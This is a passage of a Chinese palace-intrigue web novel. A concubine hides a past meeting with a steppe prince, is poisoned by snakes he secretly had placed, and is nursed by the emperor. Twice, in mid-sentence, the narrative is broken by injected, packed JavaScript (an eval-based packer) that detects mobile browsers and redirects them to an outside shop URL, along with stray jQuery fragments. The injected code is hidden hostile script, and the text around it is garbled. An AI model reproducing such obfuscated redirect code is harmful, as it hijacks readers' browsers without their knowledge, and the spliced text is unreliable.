“去哪儿?”她凄惶地看着他,事情过去这么久,她慢慢地看出了他的冷酷和自私,如今他说出这样的话,更让她心底一片冰冷,“走?我走了,置我家人于何地?!” 和王帐相隔不远的帐篷里,一个宫女跌跌撞撞地冲了进去:“娘娘!” 王嫔沐浴完毕,正在神案前跪着焚香。听见动静她不满地看了那宫女一眼:“有什么大事,这般冒失成什么样子?!” 宫女顾不上被斥责,快步上前伏在王嫔耳边急道:“奴婢亲眼所见,宁昭仪同外男在帐篷里私会!” 王嫔大惊起身,手中宝珠散了一地:“什么?!” 54. 53 围场里,侍女在前领路,王嫔领着众人急匆匆奔向安宁歇脚的帐篷。刚走到帐篷前就见安宁身边的管事宫女白薇姑姑上前行礼:“奴婢见过王嫔娘娘,娘娘日安。” 王嫔停下脚步,看了眼她身后牢牢闭合着帐幕的帐篷。看见她的目光,白薇不动声色地微微挪动身子挡在了她面前:“娘娘可是来寻宁昭仪?昭仪眼下不便,还望娘娘恕罪。” “哼。”王嫔冷笑一声走到白薇面前,逼得她不得不低着头后退。她身旁的宫女上前推开了白薇,毫不客气地撩开了帐篷的幕帘。 外面的阳光透进去,里头传来一声女子的惊叫。安宁惊慌失措地呵斥声传来:“谁让你们撩起幕帘的?快放下!” 王嫔抢先一步进了帐篷,待眼睛适应了帐篷里的光线,见安宁褪去了外裳,露出了大半个肩膀正着急地拉起自己的领口。她的视线落到安宁身旁的人身上,却不由得一怔。安宁身旁不是什么陌生男子,而是周嫔。周嫔手里正拿着一个瓷瓶,见幕帘被撩起赶紧上前挡在了安宁面前,挡住外面的视线。 “姐姐。”周嫔将手里的瓷瓶递给一旁的丫鬟,微微福身行礼,“姐姐这般匆匆而来,是为了什么?” 王嫔看向一旁通风报信的丫鬟,后者一脸不知所措,见她凌厉的眼风扫过来,赶紧低下头退到了一旁。 王嫔收回刀一般寒凉的眼神,对着周嫔露出一个微笑:“妹妹怎么在此?” “宁昭仪污了衣裳在此更换。”周嫔不疾不徐,“她同我提了好几次我的桂花膏好闻,我便替她抹了些在身上提香。” 王嫔看向安宁,见她满脸通红,紧紧抓着自己的衣领领口。她的贴身丫鬟拿来了外裳披裹在她身上。安宁脸气得通红,泪珠在眼眶里打转,满脸不悦地盯着她。她的目光将整个帐篷打量了一番,帐篷里没有什么可藏身之处,不见外男。 她压下心里的疑惑,放缓了语气:“宫女传错了话,误传宁昭仪受伤。我心里实在着急就闯了进来。”她满脸关心地看向安宁,“妹妹,不知你正在更衣,是姐姐冒失了。” 安宁忍着气低下头,生硬地回答:“多谢娘娘关怀。” “既然宁昭仪无事,我便回了。”王嫔同周嫔微微颔首转身离开,走到门口的时候却又顿住脚步回头狐疑地看了两人一眼。安宁低头拉着衣服,周嫔神情自若地微笑着目送她。她觉着有猫腻,奈何又看不出什么端倪,心里冷哼了一声,只能带着众人离去。 “娘娘。”通风报信的小宫女快走几步跟上王嫔的脚步,“奴婢看得真真的!绝对没有错!” 王嫔轻声问:“可看清了那男子的容貌?” 小宫女摇了摇头:“他在奴婢面前一晃而过,奴婢实在没有看清。只隐约见着他身量极高,穿着外部的服饰衣着华贵。” 这小宫女是王嫔从娘家带出来的心腹,她说的话她自然信得过。她没有追究小宫女的错,低声吩咐:“使人盯着宁昭仪,这几日把她给我盯牢了。再有风吹草动,不要先来告诉我,直接去找王统领,让他先拿下个现行!” 小宫女低声应下:“是!” 帐篷里,眼见王嫔带着众人去得远了,周嫔才吩咐左右:“你们都出去。” 安宁感激地看着周嫔:“多谢姐姐替我解围。” 周嫔坐到安宁身边,替她整理衣物:“她那般闯进来,明眼人一看就是不安好心。只是不知这般气势汹汹的,原本是为了什么。” 安宁心里咯噔一声,不自觉地收拢手指捏紧了领口,神色有些不自然:“从进宫开始,王嫔娘娘便一直处处针对,谁能料知今日原本是为了什么?幸好姐姐在此。” 她用话语逼退了伯言,他听完她说的话,沉默了片刻转身离开了帐篷。几乎是他前脚刚走,周嫔后脚便寻了过来,惊险万分地擦肩而过。 如今王嫔这般气势地寻来,莫非是看见了什么? 安宁心中十分不安。 周嫔闻言劝慰:“既然在这个宫里呆着,嫉妒、中伤、阴谋诡计都是躲不开的东西。就算我们不去算计旁人,也一定要好好的护着自己。” 安宁点了点头。 夕阳落到地平线以下,漫天的火烧云渐渐退却,无边暮色缓缓升起。围场里点亮了火把,篝火熊熊,晚宴准备完毕。明帝身着明黄色的龙袍,端坐在主位之上。他左下首坐着王嫔,右下首坐着周嫔,安宁坐在周嫔下首顺位。再往下坐着来参加仪式的文武百官和宗亲勋贵。 鼓乐奏响,舞女献艺。明帝饮了一杯酒,看向不远处的安宁,见她很少吃东西神色间似有隐忧,不由得眉头轻皱。周嫔顺着明帝的视线看了眼安宁,体贴地轻声提醒:“这乳羹不错,妹妹尝尝?” 安宁被周嫔提醒,一抬头见明帝正看着她。她应下:“好。”她拿起乳羹尝了一小口,又放回了原处。 王嫔在对座打量着她,见状貌似关心地开口:“宁昭仪进京时日不长,许是这些东西不合胃口。一会儿有烤羊,用的是世子府的厨子,说不定昭仪能喜欢?” 明帝对身旁的黄大伴低声吩咐了一声,黄大伴应声而去,不一会儿就亲自送了安宁爱吃的糕点上来。黄大伴悄声对安宁道:“昭仪,圣上吩咐您仔细自己的身体,便是没有胃口,多少还是要用一些。” 安宁看向明帝,他却没有看她,注视着场下正在表演剑舞的勇士,自斟自饮,又喝了一杯酒。 安宁同样轻声对黄大伴道:“劳烦大伴多劝着些,不要让圣上饮太多酒,酒过伤身。” “哎。”黄大伴应下,笑眯眯的回到了明帝的身旁。 王嫔见黄大伴给安宁送去了独一份的糕点,神色一沉。她主持祭天,坐在除了明帝外最尊贵的位置,偏生在文武百官和王室宗亲面前,明帝一如既往的偏宠安宁。她心中愤愤,虽然极力控制,难免还是流于神色之间。 剑舞退场,场上上来了许多身着外部服饰的人,跳起了传统的祈求神灵保佑平安的神舞。和大宁截然不同的诡异音乐响彻夜空,舞者皆戴着面具,手中拿着动物骨头雕成的各种器具。王嫔看了半晌,轻笑着问安宁:“旁的还好,这舞我却是看不懂了。昭仪从小在边境长大,想来对那边十分了解,不知可为我解释一二?” 安宁歉意地向王嫔微微低头:“外部部族众多,除了王庭下属的七大部族,大大小小的部落约莫有一百多个。除了共同信仰的天神,每个部落都有自己信仰的神灵。请恕臣妾眼拙,并不知这支舞的出处。” 王嫔闻言神色淡淡,不再追问。 一舞终了,舞者潮水般退向两侧,从后走上来一个高大的男子。恰逢夜风起,卷动了篝火燃烧的火星,瞬间风火翻卷,在他身后犹如一匹张牙舞爪的火龙。他面容俊朗身量修长,穿着金帐王庭的服饰。他衣着华贵,却留着宁人男子的发式。 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安宁虽然竭力控制自己,可脸上依然失了血色。她不知王嫔方才看出了多少端倪,眼下她只觉得自己摇摇欲坠,再也支撑不住,侧身在周嫔耳边轻声道:“我觉着身体不适,先退下了。” 周嫔看了她一眼,见她面色十分难看,当下十分担心,放下了手里的酒杯:“我陪你。” 两人离场虽然十分安静,明帝仍将视线投了过去。黄大伴会意,悄无声息地跟上,在不远处迎住了她们。他见周嫔搀扶着安宁,安宁大半个身体都没什么力气的依在周嫔身上,不由得关心地开口:“宁昭仪这是怎么了?” 周嫔道:“宁昭仪忽觉身体不适,故而离席。” 黄大伴担心地打量安宁,火光下她面色果然不好,黄大伴赶紧道:“两位娘娘先请回,咱家这就去请太医。” 周嫔微微颔首:“有劳大伴。” 安宁快要走到帐篷前时,突然觉得腹中一阵翻江倒海,巨大的压力让她再也承受不住,偏头吐了出来。周嫔扶住她,轻轻替她抚着背,眉眼间都是担心:“这是怎的了?怎么好好的突然这般不适?” 安宁十分内疚:“姐姐,你快回去梳洗吧。让这腌臜冲撞了你。” “人吃五谷杂粮,哪儿有不生病的?”周嫔扶着安宁进了帐篷,安顿她落座。几个侍女慌忙去打水来替两人梳洗。周嫔坐在安宁身旁,“况且眼下你这般不适,我也理应在此看顾你,哪儿有走了的道理?” 侍女们替两人梳洗换了干净衣裳,黄大伴请来了太医。安宁神情仄仄地躺在软榻上一动不动。太医请了脉对一旁的黄大伴道:“昭仪内外交困,郁结于心,外邪趁机侵入肺腑,需得好好用药。” 黄大伴连连点头:“大人请开方子。” 太医走到一旁,略微思索开出了方子交给黄大伴过目。黄大伴拿了方子转身出了帐篷。 没过片刻,明帝匆匆进了帐篷。见着他满屋的人纷纷行礼。他越过众人走到软榻旁,握住了安宁的手担心的看着她:“是不是难受得厉害?” 他竟然抛下了前面宴席上的满朝文武皇室宗亲来寻她。 安宁一时间心中涌上了万般的委屈和愧疚,眼泪汹涌落下,一言不发扑进了明帝的怀里,牢牢搂着他的脖子不放。 朱弘辉抱住她,轻轻拍着她的背。他扭头淡淡看了身侧一眼,周嫔会意,领了众人低头退下。等只余他二人,他才轻声开口询问,不复方才的冷淡只有安宁见过的温柔:“怎么了?” 55. 54 “我……”安宁落着泪,千言万语却不知从何说起,“我……” 他一直是温柔而包容的,安宁时常会想,自己身上到底有什么特殊之处,让他这般对她另眼相待。她抬头看着他,见他眼里都是对她的担心。话涌到了唇边,她很想告诉他她和伯言之间发生过的事情,可是她能说吗? 她不敢,她不知道这些事情被他知道会是什么样的结果,她连试探的勇气都没有。若是他勃然大怒,将此事迁怒太师府和国公府,那她会因为自己的轻率不仅将自己葬送,还会连累家人。 她想起了被梁选侍连累的梁家,三代女子不许选秀,三代男子不许科考。她心里惊怕,将到唇边的话又咽了下去,只是默默地低着头落泪。 他抬手替她擦去眼泪,将她拥进怀里,轻轻拍着她的背安慰。安宁沉默半晌,突然开口:“四叔。” “嗯?” “若是我做错了事情,你会不会原谅我?” 他拍着她的手一顿,片刻后他道:“不管你做错了什么,我都能原谅你一次。” 她离开他的怀抱看着他,不确定地追问:“不管我做错什么,都可以原谅我一次?” 他道:“你若是坦诚告诉我,说明你心中悔恨,原本你也并不想如此,我自然可以原谅你一次。但你若是明知故犯,再有第二次第三次,可见是仗着我对你喜爱明知不可为而为之,自然不能再原谅。” 烛火下她的眼里充满了犹豫和不确定。他在心里叹了口气,放缓了声音:“你觉得我可信才坦诚,我回报你的信任,会原谅你一次。” 她心里天人交战,伯言的事情如同一把悬在头顶的铡刀,不知何时会落下。她定定地看着他的眼睛,脑海里想起他们相识到如今的种种。他于她而言,首先是那个温柔包容的朱四叔,然后才是高高在上的帝王朱弘辉。 她鼓足勇气:“我……” 帐篷外传来黄大伴的声音:“圣上,王嫔娘娘到了。” 她就像个被戳破的球,瞬间丧失了所有的勇气干瘪了下去,她的眼里失去了神采,又缩回了原地。 帐篷的幕帘被撩开,王嫔带着人进来向着明帝行礼:“妾身听闻昭仪身体不适,心中实在挂念,是以过来看看。” 她见安宁眼眶微红,脸上还带着泪痕,偎在明帝怀里。虽然明帝一言未发,却伸手将她轻拥,姿态间有着十足的怜爱和保护,隐约可见先前帐篷里旖旎的气氛。她心里发酸,明帝何曾这般对过旁人?明帝在她面前永远都是冷淡的模样,神色少见波动。即使是她侍寝,他也十分漠然。 安宁擦了擦脸上残存的泪痕:“多谢娘娘挂怀。” “先前还好好地,怎么世子敬完酒就突然这般不适?”王嫔话中有话,“可是看了那舞蹈,起了思家之情?” 王嫔面上关心,眼神里藏着审视。安宁抬眼看向王嫔,清楚地看见了她眼里的不怀好意。她垂下眼眸,靠进朱弘辉怀里低头不语,轻轻地握住了他的手。 “圣上。”王嫔将安宁的小动作尽收眼底,她忍着刺眼和缓地劝诫,“圣上不宜离席太久。” “你先歇着。”他安慰地用脸颊贴着她的额头,“我晚点再来看你。” 安宁依依不舍地应下:“好。” 王嫔跟在明帝身侧回了前方的宴席,她一早便注意到一个细节,明帝只有在安宁面前自称是我而非朕。看得越多,她心里的嫉妒越像疯长的草一样蓬勃。如今她心里满是名为嫉妒的荒芜野草,每一根草都似漆黑锋利的箭,密密麻麻扎透了她的心脏。 王嫔落座,举杯喝了一口闷酒,见周嫔也回了席,她看着周嫔冷笑一声,为了博得圣上欢心,竟然纡尊降贵去讨好一个昭仪,周嫔也算个能人。 安宁躺在软榻上,帐篷里只剩下她和白蔻两人。她背对着白蔻侧躺着假寐,不想同她说话,实则呆呆地注视着墙上自己的影子。 白蔻以为安宁睡熟,替她盖好了被子,轻手轻脚出了帐篷去寻白薇。安宁缓缓地长叹一口气,方才她差点将伯言的事情合盘向朱弘辉道出,若非王嫔突然出现打断,或许她已经将一切都告知了他。 前头的乐曲声隐隐约约地传来,隐隐听闻草场上空风声呼啸,她毫无睡意。 一个黑影蹑手蹑脚到了安宁的帐篷外,左右张望一番见无人察觉,他拔出腰间的匕首在帐篷下划出一道口子,他揭开手里竹篓的盖子,将竹篓里的东西顺着那道口子倒了进去。 几条浑身漆黑带有金色线圈斑纹的毒蛇悄无声息地游进了帐篷里。毒蛇仰头吐着信子,顺着地面游到软榻旁,又顺着垂落的被子悄无声息的上了床。 白蔻正在帐篷外站着同白薇姑姑说话,突然听见里面传来一声惊叫:“啊!” 两人一惊赶紧冲了进去,见安宁穿着寝衣光脚站在地上,面色苍白地指着掀开的被窝:“有蛇!” 白薇的视线落到安宁裸露的脚踝上,视线不由得一凝。被蛇吻后的伤口清晰可见,她顾不上榻上还在游走的毒蛇,撕破自己身上裙裾的下摆快步走到安宁身旁,蹲下用力将布条在她小腿上方扎紧。一边吩咐白蔻:“快请太医!” 白蔻去请太医的同时叫了外面的护卫。护卫们提着灯笼翻找着将帐篷里的毒蛇一一杀死。明帝接到消息赶来时安宁被安置在了另外一个帐篷里,毒性发作极快,这一小会儿的功夫她的脚踝肿得如同一个馒头,伤口附近青紫发黑,而她浑身滚烫已然昏迷不醒。太医用针为她拔了毒,但是似乎并不太见成效。 明帝见安宁伤成这样,神色沉了下去,问一旁的太医:“宁昭仪如何?” “回禀圣上。”太医道,“老臣已经为昭仪施针拔毒,只是这蛇毒不同其它,要想彻底解其毒性,需得对症下药。老臣不才,对蛇毒涉猎不深,怕是要寻个精通此道的能人方可。” 明帝看了眼一旁唇色发紫的安宁:“去太医院宣旨,凡精通蛇毒者,立刻前来!” 周嫔担忧地看着安宁:“太医,这蛇毒性可猛烈?宁昭仪可有性命之虞?” 太医十分惭愧:“此蛇毒性猛烈,可惜老朽不才,不识得此物。如今也只是勉强替昭仪压制着毒性,拖得一时半刻,还是要尽快才好。就怕毒入心肺太深,便是解了毒也会留下祸根。” 周嫔捏紧了手里的帕子,正不知如何是好时,外面传来了侍卫的通报:“圣上,王庭世子摩诃求见。” 太医眼睛一亮:“圣上!外部人对珍禽异兽一向精通,不如请世子府的人来看一看,说不定识得此物?” 明帝道:“宣。” 摩诃世子带人进了帐篷,向明帝行礼:“臣听闻昭仪被毒蛇所伤。臣府中使臣对此略知一二,臣特地领来,望能为圣上排忧解难。” 说着话他往旁让了让,让出身后一个约莫四十多岁,留着长须的男子。侍卫们将打死的毒蛇尸体摆放在一块盖布上抬上前供男子查看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13729937|139954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。那男子仔细观察了毒蛇片刻:“是金环蛇。这种蛇毒性猛烈,需得尽快解毒,否则昭仪恐有性命之虞。” 太医闻言道:“先生可知此毒何解?” “这种毒的解药配置起来十分繁琐,所需药材也非一时所能凑齐。”那男子道,“好在金环蛇是草场里毒性最猛烈最常见的毒蛇之一,为了预防,我等一般都会事先配置一些解毒的药丸备着。”他在随身携带的箱子里翻找了片刻,拿出一个小瓷瓶看了看打开闻了闻,递给了太医:“大人请用此物。” 太医将那药丸倒出来,用水将药划开,交给了一旁候着的白薇姑姑。白蔻扶起安宁,白薇拿了瓷勺,将解药一勺一勺的给安宁喂了下去。 一旁的王嫔见状道:“好端端地,帐篷里怎么会有毒蛇?” “如今天气变暖,蛇类冬眠变浅。”那精通蛇类的中年男子道,“许是恰好在蛇窝上扎营,帐篷里温暖让毒蛇误以为到了时节,是以提前出来活动。” 黄大伴闻言唤来了手下,嘱咐他们将整个营区仔仔细细搜查一遍,以防再有毒蛇出没。 明帝看向一旁的摩诃:“多谢世子。今日若非世子出手相救,宁昭仪只怕性命危矣。” 摩诃低头道:“能为圣上排忧解难略尽绵薄之力,是臣的福分。” 他从进帐篷到现在,至始至终没有看过中毒昏迷在床上的安宁半眼,神色如常,进退有度。 王嫔看了看摩诃,又看了看安宁,对自己心中的揣测存了几分狐疑,面上却不显。上前半步柔声劝道:“圣上,您回去歇着吧。昭仪这边有臣妾们守着。” 周嫔也劝道:“王嫔姐姐说的是,您还是先去歇着吧,臣妾也在此守着。” 明帝不置可否,只是先挥退了一众外臣。王嫔原以为明帝回了王帐休息,不成想没过片刻黄大伴便领了人前来,同她告罪一声之后,将安宁挪去了明帝的王帐。 王嫔气结,目送着众人将安宁接走,见周嫔站在她身旁,她看看周嫔冷冷道:“看见没有,无论你我如何,都比不过宁昭仪半分。” “姐姐此言差矣。”周嫔稳稳地回答,“我等同在后宫伺候圣上,何必比来比去?能被圣上偏宠自然是福分,但圣上待你我也不薄。” 王嫔冷笑一声:“妹妹好生大度!”说罢转身抛下周嫔回了自己的帐篷。 空旷的草场上夜风呼啸,摩诃回了自己的帐篷,坐在桌后看着烛火沉默不语。进帐篷的时候他看了安宁一眼,见她面色苍白发青,白皙的皮肤下隐约可见蔓延的紫色血管。虽只是匆匆一眼也知她中毒颇深。 精于蛇毒的臣属合哲进了帐篷:“世子。” 摩诃问道:“宁昭仪服了药,毒性何时能解?” 合哲回道:“昭仪服药及时,此前又有太医施针拔毒,最迟明日掌灯时分便可苏醒。只是要彻底拔清身体里的毒性,还需服药慢慢调理上月余方可。” 摩诃点了点头:“这些日子好好看顾着宁昭仪。” 合哲离开后,摩诃的心腹侍卫进了帐篷:“世子!” 摩诃替自己倒了杯茶:“你做的首尾可干净?” 心腹沉声道:“世子放心,属下亲自去办的此事,定然没有留下任何痕迹。” 摩诃挥了挥手,侍卫悄无声息退了出去。摩诃凝视着手中茶盏的水面,眼前似乎又出现了安宁中毒后苍白的面容。他拿起茶水一饮而尽,也将脑中那幻想尽数驱逐。 56. 55 淡黄的羊皮宫灯弥漫着昏黄的光晕,映得一切都显得朦胧而静谧。 朱弘辉坐在龙床旁,黄大伴小心地拧干了帕子交到他手上,他接过温热的帕子,仔细地替安宁擦拭着手心和手腕。 白日里喧闹的草场已经安静了下来,时不时能听见外面三两声虫鸣。月已中天,流云浮动,银月在云后忽隐忽现。 黄大伴担忧地看着明帝:“圣上,这些事儿还是交给奴才们吧。时候不早了,您得去歇着啊。” 明帝将手里的帕子交还给黄大伴,伸手探了探安宁的额头,解药渐渐起效,她身上高热已退,但入手黏腻潮湿。她出了许多虚汗,汗水湿透了长发,也浸透了身上的衣裳,连带着濡湿了床榻。 明帝没有回应黄大伴的劝解,吩咐他:“去唤白薇给宁昭仪拿一套干净的寝衣来。” 黄大伴只得领命出去。片刻后白薇入内,黄大伴知晓要为宁昭仪更换衣物,屏退了帐篷里的其他人,自己也识趣得退了下去守在王帐门口。 白薇伸手摸了摸安宁:“圣上,用热水替昭仪擦拭了再更衣吧,就这么换上去,只怕立刻又会湿透。” 明帝点点头。 白薇放下寝衣匆匆出了帐篷。 朱弘辉的手放到安宁的领口,略微一顿,温柔地解开了她的领扣。 随着盘扣一颗一颗的解开,露出了她细腻的肌肤、纤细的雪白双肩和胸前浑圆的曲线。他的视线不可控制地落在她的身体上,又强制自己移开,极尽轻柔地轻轻将她抱进怀里,脱去了她身上汗透的衣物。 他展开锦被将她牢牢包裹防止受风。她意识昏沉,浑身软绵得似乎没有骨头。他小心的护着她的后颈,手探进锦被里,褪去了她的余下的衣物。 即使有锦被阻隔着他并未看见那些隐秘的画面,他的额头依然冒出了细密的汗珠。他深呼吸一口气用锦被将她包得更紧了些,牢牢将她抱在怀里,低头吻了吻她的额头。 白薇去而复返:“圣上,让奴婢来吧。” 朱弘辉这次没有勉强,将安宁轻轻放下背过了身去。白薇揭开锦被见安宁已然不着寸缕,又见明帝刻意背对着她们,心里不由得暗叹了一声,明帝对宁昭仪真的是怜爱到了极点。 她用热水替安宁擦拭干净了身体,替她穿上了干净的寝衣,这才轻声对明帝道:“圣上,好了。” 朱弘辉转身抱起安宁,吩咐白薇:“把寝被都换了。” 白薇唤来了宫女,几人动作迅速地更换了龙床上的寝被和枕头,朱弘辉才安心地放下安宁,即使她昏沉沉地睡着,他仍担心她有丝毫的不适。 白薇出了王帐,黄大伴在门口守着,见她出来赶紧上前,他越过她往里瞧了瞧,轻声问:“里头如何了?” “昭仪退了热,现下睡得倒还安稳。只是圣上这么熬着……”白薇也有些担心,“得想法子劝圣上注意龙体。” “唉。”黄大伴叹了一声,“我方才也劝过了,圣上充耳不闻。我瞅这架势,宁昭仪不醒,圣上怕是不会歇着。” “那可不行。”白薇往旁走了几步,“圣上哪儿能这般强熬着?” 黄大伴略一思忖,试探着提议:“不如……去请周嫔娘娘来劝劝?” 白薇想了想点点头:“也好。” 周嫔虽然已经歇下,却睡得并不安稳。草场上不时有士兵巡逻,他们经过时的脚步声、兵器的摩擦声都会隐隐约约地传来。周嫔原本睡眠就浅,再加上虫鸣,更让她辗转反侧。 她刚翻了个身,隐约听见侍女在同人说话。她坐起身问:“谁在外面?” 帐篷的幕帘被掀开,白薇走了进来,向周嫔福身行礼:“娘娘,是奴婢。” 周嫔认得她,略有些着急地便要起身:“白薇姑姑,你深夜来此,可是昭仪的病情有了反复?” “娘娘别急。”周嫔赶紧解释,“宁昭仪无事。” 周嫔这才坐定:“那你来寻我是何事?” “娘娘。”白薇有些为难,“昭仪还昏睡着,圣上挂心昭仪,还在熬着。奴婢和黄大伴劝解不了,想着来请娘娘去劝一劝圣上,还需爱惜龙体。” 周嫔看了眼时间,已经快到寅时,当即道:“我这就去。” 周嫔一行人提着灯笼穿过漆黑的草场去了王帐。王嫔同样未眠,她身边的大丫鬟香巧掀帘进来,轻声道:“娘娘,奴婢见周嫔方才去了王帐。” “哼。”王嫔冷笑一声,“我便知她嘴上说得冠冕堂皇,实则暗地里没少下功夫。”她并没有更换寝衣,还穿着品级服饰。她吩咐香巧:“吩咐周公公在前头开路,我们也去。” 周嫔刚到王帐门口,王嫔便也到了。她走到周嫔身边站定,脸上带着得体的微笑悄声讥讽:“妹妹实在贴心,深夜还来探望昭仪。” 周嫔冷眼打量着王嫔的盛装,淡淡地笑了笑:“妹妹如何能同姐姐相比?不及姐姐十之一二。” 王嫔眼神更冷,至上而下扫视了周嫔一番,正要再开口,幸得黄大伴出来通传:“娘娘请。”他这才看见王嫔,略微一怔,王嫔听见他的话却已然撇下众人进了帐篷。 安宁沉睡在巨大的龙床上,几乎淹没在锦被里。烛火照不到龙床深处,阴影中她只露出了半张苍白的小脸和散乱的长发。明帝斜靠在她身旁,伸手撑着自己闭着眼睛在假寐。听见动静他睁开了眼,方才听黄大伴通传说是周嫔前来,未料一睁眼看见的却是王嫔,他眉头微皱:“你怎么来了?” 王嫔低头行礼道:“臣妾睡不着,实在挂念宁昭仪的安危,是以前来,惊扰了圣驾,还望圣上恕罪。” 门帘一掀,周嫔尾随在王嫔之后进了王帐。她矮身行礼,只道了一句:“圣上。” 明帝对王嫔淡漠地开口:“昭仪无事,你不必挂心。时辰也不早了,还是早些回去歇息的好。” 王嫔看了眼身后,香巧低着头奉上一个朱漆雕花的食盒。王嫔接过食盒:“圣上,臣妾备了盅燕窝,圣上忧心劳力,需得补精养血。” “你有心了。”明帝示意黄大伴接过食盒,“回吧。” 王嫔见明帝言语中几番让她走,她也不好再留,心中虽十分不满,仍是做足了姿态行礼后温婉地退了出去。 等她离开,周嫔才上前一步轻声开口:“圣上,您这般熬着,确实伤身。快到寅时了,明日您还有好多事情要做,不如现在去歇息。昭仪这边,臣妾在这儿守着。” 明帝轻轻叹了口气。他伸手摸了摸安宁的额头,眼下她的体温已经正常,也不再出虚汗,只是面色依然异常苍白,他担忧地看着她,却突然问周嫔:“你觉得此事是意外还是人为?” 周嫔微微一怔,低下了头。她心里交战了片刻,决定说出自己的真实想法:“妾身以为,此事不是意外,是人为。” “哦?”明帝轻轻理着安宁的碎发,“何以见得?” 周嫔道:“春猎是传统,这个季节虽然少有蛇虫鼠蚁出没,但为了以防万一,下面的人在扎营 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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王帐里摩诃领了合哲前来再度给安宁看诊。合哲同明帝回话:“启禀圣上,昭仪大有好转,今日再服一次解药,最迟日落时分便会苏醒。只是这毒极为猛烈蔓延迅速,有些还是进入了肺腑,要想彻底清理干净余毒,接下来还需慢慢调理。” 一旁太医院的院判对明帝道:“圣上,合哲大人对蛇毒极为精通,若有他从旁相助,对昭仪的病大有裨益。” 摩诃道:“圣上但有差遣,臣等必然尽心竭力。” 明帝温和开口:“有劳世子。” 安宁终于睁开了眼睛,周嫔一直在她身旁守着,见她苏醒,高兴地握住了她的手,轻声道:“你别动,你中了蛇毒,昏睡了一天一夜,眼下刚醒定然难受,好生躺着。” 安宁微微点了点头。周嫔道:“圣上一直忧心你,我先去告诉圣上一声。” 周嫔绕过屏风,对明帝道:“圣上,宁昭仪醒了。” 明帝站起身,抛下众人去了屏风后。他大踏步走到安宁身侧坐下:“你可算醒了。” 她看着他,见他有些精神不振,眼眶下隐见乌青。她内疚地开口:“四叔,让你担心了。” “醒了就好。”他轻声问她,“渴不渴?饿不饿?”他吩咐身侧的白薇,“把备好的燕窝端来。” 安宁扁了扁嘴委屈地开口:“我真倒霉,在开阳生活了十几年,草场里遍地是蛇都没着过道,偏生在这里被咬了。” 朱弘辉眼里带着笑:“醒了就好。”他顿了顿道,“你这次中毒,说起来还要多谢一个人。若非他及时送来解药,只怕眼下你我已天人两隔。” 安宁不解地看着他:“要谢谁?” 朱弘辉对黄大伴道:“请世子过来。” 候在屏风外的摩诃被黄大伴引到龙榻前,他低头行礼:“王庭世子摩诃,见过宁昭仪。” 明帝神色淡漠地注视着安宁的神情变化。安宁脑子一片空白,下意识地开口:“伯言?” 57. 56 “昭仪恕罪。”摩诃沉声道,“当日在开阳城同昭仪相识时,因身份不便暴露,是以假称自己为伯言,臣实则乃金帐王庭刹什王次妃沙河台之子,自小生长在京城。” 安宁看着摩诃,一瞬间神色里有震惊有茫然有迷惑和恐惧,她喃喃道:“前日宴席上见世子敬酒,远远瞧着便觉着十分相似,我还以为错认了旁人,未曾想果真是你。” “个中缘由,臣实属不得已。”摩诃道,“但无论如何,臣欺骗昭仪在先,此乃臣的过错。” 帐篷里一片沉寂,摩诃微微低着头躬身行礼,一动不动,时间仿佛凝滞。 周嫔见此情形,心中微微一凛,站在一旁眼观鼻鼻观心,暗自替安宁担忧。 “你……”锦被里安宁捏紧了拳头,一瞬间她脑海里涌上了无数念头,她身体因中毒还虚弱着,可此刻头脑却格外分明。她没有看向明帝,却也知他在旁安静地注视着她。若是应对有差错……安宁的心剧烈地跳动着。她最终什么都没有对摩诃说,只是转向明帝,眼里全是委屈,“四叔,他骗我。” 摩诃道:“臣惭愧,确实是臣隐瞒身份,是臣的过错。”摩诃又转向明帝道,“在北市时臣眼拙,并不知是圣上,言行间多有不敬,还望圣上恕罪。” 周嫔看着三人,听这简短的几句话里,似乎另有隐情。圣上与宁昭仪果然不是进宫后才相识,似乎与世子也是旧识。她安静地站在一旁一言不发。 “罢了。”一直沉默的明帝缓缓开口,“不知者不罪。何况此次幸而有你献上解药,才救了宁儿。”他看向负气的安宁,温言道,“便算他将功抵过,原谅他假以伯言相称如何?” 安宁没说话,软软地依偎进明帝的怀中,孩子气地将脸埋进了他的怀里,似是赌气不去看摩诃。朱弘辉见她这般娇弱无依生着闷气藏在自己怀中,不由得满心柔软缓了神色,轻轻拍着安宁的背哄她:“别气了。” 安宁闷闷地声音传来:“亏我还当他是我第一个朋友,他竟然骗我,可见也不诚心!” 众人视线不及之处,安宁紧紧攥着明帝的龙袍强压着心里的惊恐与不安。她不敢再多看摩诃一眼,唯恐被旁人察觉出什么不妥。明帝宠溺地拥着她,对摩诃道:“宁儿还小,难免还有些孩子心性。” 摩诃道:“昭仪温婉美丽兼有赤子之心,是圣上的福气。”他随即正色向安宁道,“臣有错在先,在此同昭仪告罪了。”说罢一揖到地。 安宁还是埋着头不理不看,明帝轻拍她的背,她索性背过身去整个人钻进锦被里,牢牢将自己蒙头裹住,不再让外面的人看见她。 周嫔见状劝道:“圣上,昭仪刚醒身子还弱着,还是让她好生歇息为好。” 安宁裹在被子里,听见帐篷里的声音渐渐远去。等众人都离开,周嫔方才坐到龙床旁伸手去轻拉被子:“好了,没人了,你快出来,小心憋着。” 安宁见果然只剩下周嫔,拉下了被子冲她歉意地笑了笑:“让姐姐见笑了。” 周嫔莞尔一笑,并未多言。 摩诃出了王帐,顺着草场走出去很远。 风吹动他长袍的下摆,从草尖和花朵上微微扫过。春草极韧,刚刚被人踩倒,不过几息时间又舒展着直起了身体。他一直走到围场边缘,看着全副武装的将士们换防。不远处有许多宫人正在忙碌着,明日一早便是祭天仪式,他们正在紧锣密鼓地进行着准备。 